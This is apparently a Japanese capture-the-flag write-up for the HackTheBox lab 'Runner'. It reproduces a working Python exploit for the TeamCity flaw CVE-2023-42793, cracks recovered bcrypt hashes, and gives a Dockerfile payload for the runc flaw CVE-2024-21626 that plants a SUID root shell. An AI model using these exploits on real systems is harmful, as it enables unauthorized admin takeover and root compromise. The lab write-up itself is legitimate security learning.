概要
HackTheBox「Runner」のWriteupです。
User Flag
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.13 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Runner - CI/CD Specialists
8000/tcp open nagios-nsca Nagios NSCA
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
ポートの稼働状況が分かりました。
ポート | サービス | バージョン |
---|---|---|
22 | ssh | OpenSSH 8.9p1 |
80 | http | nginx/1.18.0 |
8000 | nagios-nsca | Nagios NSCA |
/etc/hosts
にドメインを追加します。
10.10.11.13 runner.htb
サブドメインを列挙します。
$ ffuf -c -w /usr/share/seclists/Discovery/DNS/namelist.txt -H "Host: FUZZ.runner.htb" -u http://runner.htb -fs 154
teamcity [Status: 401, Size: 66, Words: 8, Lines: 2, Duration: 262ms]
teamcity.runner.htb
を発見したので/etc/hosts
に追記します。
10.10.11.13 runner.htb teamcity.runner.htb
teamcity.runner.htb
へアクセスするとログインフォームが表示されました。
teamcity 2023.05.3
が使用されていると分かったのでexploitを検索すると、CVE-2023-42793
がヒットしました。
PoCを作成し実行するとアカウント情報の改ざんに成功しました。
CVE-2023-42793 PoC
#- Exploit Title: JetBrains TeamCity 2023.05.3 - Remote Code Execution (RCE)
#- Shodan Dork: http.title:TeamCity , http.favicon.hash:-1944119648
#- Exploit Author: ByteHunter
#- Vendor: JetBrains
#- Email: 0xByteHunter@proton.me
#- vendor: JetBrains
#- Version: versions before 2023.05.4
#- Tested on: 2023.05.3
#- CVE : CVE-2023-42793
import requests
import argparse
import re
import random
import string
import subprocess
banner = """
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
"""
print(banner)
parser = argparse.ArgumentParser(description="CVE-2023-42793 - TeamCity JetBrains PoC")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-v", "--verbose", action="store_true", help="verbose mode")
args = parser.parse_args()
url = args.url
if url.startswith("http://"):
curl_command = "curl -k"
else:
curl_command = "curl"
get_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
delete_token_url = f"{url}/app/rest/users/id:1/tokens/RPC2"
create_user_url = f"{url}/app/rest/users"
create_user_command = ""
token = ""
response = requests.post(get_token_url, verify=False)
if response.status_code == 200:
match = re.search(r'value="([^"]+)"', response.text)
if match:
token = match.group(1)
print(f"Token: {token}")
else:
print("Token not found in the response")
elif response.status_code == 404:
print("Token already exists")
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
delete_output = delete_process.communicate()
if delete_process.returncode == 0:
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
else:
print("Failed to delete the previous token")
elif response.status_code == 400:
print("Token already exists")
delete_command = f'{curl_command} -X DELETE {delete_token_url}'
delete_process = subprocess.Popen(delete_command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
delete_process.wait()
delete_output = delete_process.communicate()
if delete_process.returncode == 0:
print("Previous token deleted successfully\nrun this command again for creating new token & admin user.")
else:
print("Failed to delete the previous token")
else:
print("Failed to get a token")
if token:
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json"
}
random_chars = ''.join(random.choice(string.ascii_letters + string.digits) for _ in range(4))
username = f"city_admin{random_chars}"
data = {
"username": username,
"password": "Main_password!!**",
"email": "angry-admin@funnybunny.org",
"roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}
}
create_user_command = f'{curl_command} --path-as-is -H "Authorization: Bearer {token}" -X POST {create_user_url} -H "Content-Type: application/json" --data \'{{"username": "{username}", "password": "theSecretPass!", "email": "nest@nest", "roles": {{"role": [{{"roleId": "SYSTEM_ADMIN", "scope": "g"}}]}}}}\''
create_user_response = requests.post(create_user_url, headers=headers, json=data)
if create_user_response.status_code == 200:
print("Successfully exploited!")
print(f"URL: {url}")
print(f"Username: {username}")
print("Password: Main_password!!**")
else:
print("Failed to create new admin user")
if args.verbose:
if response.status_code == 400:
pass
else:
print(f"Final curl command: {create_user_command}")
Username: city_adminKE2R
,Password: Main_password!!**
$ python exploit.py -u http://teamcity.runner.htb -v
=====================================================
* CVE-2023-42793 *
* TeamCity Admin Account Creation *
* *
* Author: ByteHunter *
=====================================================
Token: eyJ0eXAiOiAiVENWMiJ9.Njc5ek91eGRaTW9NdXZGNmdBSWJWUnZkN19B.NDNmYmIyNjItZTBmMC00ZTdmLTgwZWQtNGQ0MGI2ZTkzNjFk
Successfully exploited!
URL: http://teamcity.runner.htb
Username: city_adminKE2R
Password: Main_password!!**
Final curl command: curl -k --path-as-is -H "Authorization: Bearer eyJ0eXAiOiAiVENWMiJ9.Njc5ek91eGRaTW9NdXZGNmdBSWJWUnZkN19B.NDNmYmIyNjItZTBmMC00ZTdmLTgwZWQtNGQ0MGI2ZTkzNjFk" -X POST http://teamcity.runner.htb/app/rest/users -H "Content-Type: application/json" --data '{"username": "city_adminKE2R", "password": "theSecretPass!", "email": "nest@nest", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}'
ログインに成功しました。
/admin/admin.html?item=backup
にアクセスし、Backup scope
をCustom
すべてにチェックを入れStart Backup
ボタンからバックアップを作成します。
バックアップ作成後、表示されたURLにアクセスし圧縮ファイルをダウンロードします。
TeamCityではアップロードされたSSH鍵を<TeamCity Data Directory>/config/projects/<project>/pluginData/ssh_keys
に保存します。
ダウンロードしたバックアップファイルを解凍し中身を見るとSSHの秘密鍵が見つかりました。
$ ls -la config/projects/AllProjects/pluginData/ssh_keys/id_rsa
---------- 1 kali kali 2590 Feb 28 19:56 config/projects/AllProjects/pluginData/ssh_keys/id_rsa
database_dump/users
からユーザー一覧を見つけることが出来ました。
ID, USERNAME, PASSWORD, NAME, EMAIL, LAST_LOGIN_TIMESTAMP, ALGORITHM
1, admin, $2a$07$neV5T/BlEDiMQUs.gM1p4uYl8xl8kvNUo4/8Aja2sAWHAQLWqufye, John, john@runner.htb, 1724697919644, BCRYPT
2, matthew, $2a$07$q.m8WQP8niXODv55lJVovOmxGtg6K/YPHbD48/JQsdGLulmeVo.Em, Matthew, matthew@runner.htb, 1709150421438, BCRYPT
11, city_adminke2r, $2a$07$KP6CSZlKHJk10g5IwEM8M.tjy3/UTkn00./BenM1.nOElRensG2i2, , angry-admin@funnybunny.org, 1724696521951, BCRYPT
12, city_adminszqk, $2a$07$cdHSLv5HixonoFXuAJxKe.Lok7snajz87tte9plqsqHy/GNXLqtJ6, , angry-admin@funnybunny.org, , BCRYPT
ハッシュ値がBcrypt
で作成されたことが分かったので、matthew
のハッシュ値を解析します。
$ john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
パスワードが判明しました。
piper123 (?)
しかし、matthewアカウントではSSH接続に失敗しました。
$ ssh -i config/projects/AllProjects/pluginData/ssh_keys/id_rsa matthew@10.10.11.13
matthew@10.10.11.13's password:
Permission denied, please try again.
ユーザー名はSSHの秘密鍵から取得できました。
鍵の内容をbase64
でデコードして16進数で表示するとユーザー名がわかりました。
$ cat hash_test.txt | base64 -d | xxd
00000730: c73d cf67 9c81 9b00 0000 0b6a 6f68 6e40 .=.g.......john@
00000740: 7275 6e6e 6572 runner
johnアカウントでSSH接続に成功しました。
$ ssh -i config/projects/AllProjects/pluginData/ssh_keys/id_rsa john@10.10.11.13
john@runner:~$
/home/john/user.txt
からユーザーフラグを入手できました。
50e0184a38f7cc2b29cc72c45e99fa49
Root Flag
linpeas
を実行します。
portainer-administration.runner.htb
ドメインを発見しました。
╔══════════╣ Hostname, hosts and DNS
runner
127.0.0.1 localhost
127.0.1.1 runner runner.htb teamcity.runner.htb portainer-administration.runner.htb
/etc/hosts
に追記し、80
番ポートにアクセスします。
既に判明しているUsername: matthew
,Password: piper123
の認証情報を利用してログインに成功しました。
runC
のバージョンを確認します。
$ runc --version
runc version 1.1.7-0ubuntu1~22.04.1
spec: 1.0.2-dev
go: go1.18.1
libseccomp: 2.5.3
runc 1.1.7
の脆弱性を検索するとCVE-2024-21626
がヒットしました。
PoCを見るとdocker
コマンドでexploitを実行できますが、johnには権限がないためportainer-administration.runner.htb
を経由して権限昇格を試みる必要があります。
john@runner:~$ docker image ls
permission denied while trying to connect to the Docker daemon socket at unix:///var/run/docker.sock: Get "http://%2Fvar%2Frun%2Fdocker.sock/v1.24/images/json": dial unix /var/run/docker.sock: connect: permission denied
PoCはMetasploitモジュールを参考にします。
# create directory to write all our files to
dir = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
mkdir(dir)
register_dirs_for_cleanup(dir)
# Upload payload executable
payload_path = "#{dir}/.#{rand_text_alphanumeric(5..10)}"
vprint_status("Uploading Payload to #{payload_path}")
write_file(payload_path, generate_payload_exe)
register_file_for_cleanup(payload_path)
# write docker file
vprint_status("Uploading Dockerfile to #{dir}/Dockerfile")
dockerfile = %(FROM #{datastore['DOCKERIMAGE']}
WORKDIR /proc/self/fd/#{datastore['FILEDESCRIPTOR']}
RUN cd #{'../' * 8} && chmod -R 777 #{dir[1..]} && chown -R root:root #{dir[1..]} && chmod u+s #{payload_path[1..]} )
write_file("#{dir}/Dockerfile", dockerfile)
register_file_for_cleanup("#{dir}/Dockerfile")
print_status('Building from Dockerfile to set our payload permissions')
output = cmd_exec "cd #{dir} && docker build ."
上記のモジュール内では下記のことを実行しています。
- ファイルを書き込むディレクトリの作成
- 作成したディレクトリにMetasploitのペイロードをコピー
-
WORKDIR
を/proc/self/fd/8
に設定し、既存のイメージを使用するDockerfileの作成 - Dockerfileで
RUN
命令を使用し、cd ../../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bash
を実行 - このコマンドによりBashにSUIDが設定され、権限昇格が可能になる
SSHのコンソール上で/bin/bash
を/tmp/exploit
にコピーします。
$ mkdir -p /tmp/exploit
$ cp /bin/bash /tmp/exploit/bash
$ ls -la /tmp/exploit/
total 1372
drwxrwxr-x 2 john john 4096 Aug 27 13:15 .
drwxrwxrwt 8 root root 4096 Aug 27 13:15 ..
-rwxr-xr-x 1 john john 1396520 Aug 27 13:15 bash
portainerに戻り、Images
-> Build a new images
ボタンからDockerfileを編集します。
FROM ubuntu:latest
WORKDIR /proc/self/fd/8
RUN cd ../../../../../../../../ && chmod -R 777 tmp/exploit && chown -R root:root tmp/exploit && chmod u+s tmp/exploit/bash
編集後、一番下のBuild the image
ボタンをクリックしイメージをビルドします。
ビルドに成功するとDockerfileに記述した命令が実行され/tmp/exploit/bash
にSUIDが設定されます。
$ ls -la /tmp/exploit/
total 1372
drwxrwxrwx 2 root root 4096 Aug 27 13:15 .
drwxrwxrwt 8 root root 4096 Aug 27 13:15 ..
-rwsrwxrwx 1 root root 1396520 Aug 27 13:15 bash
/tmp/exploit/bash
を実行してrootのシェルを取得できました。
$ /tmp/exploit/bash -p
bash-5.1# whoami
root
/root/root.txt
からルートフラグを入手できます。
8ef055ce749f48bda2095767c3503f7b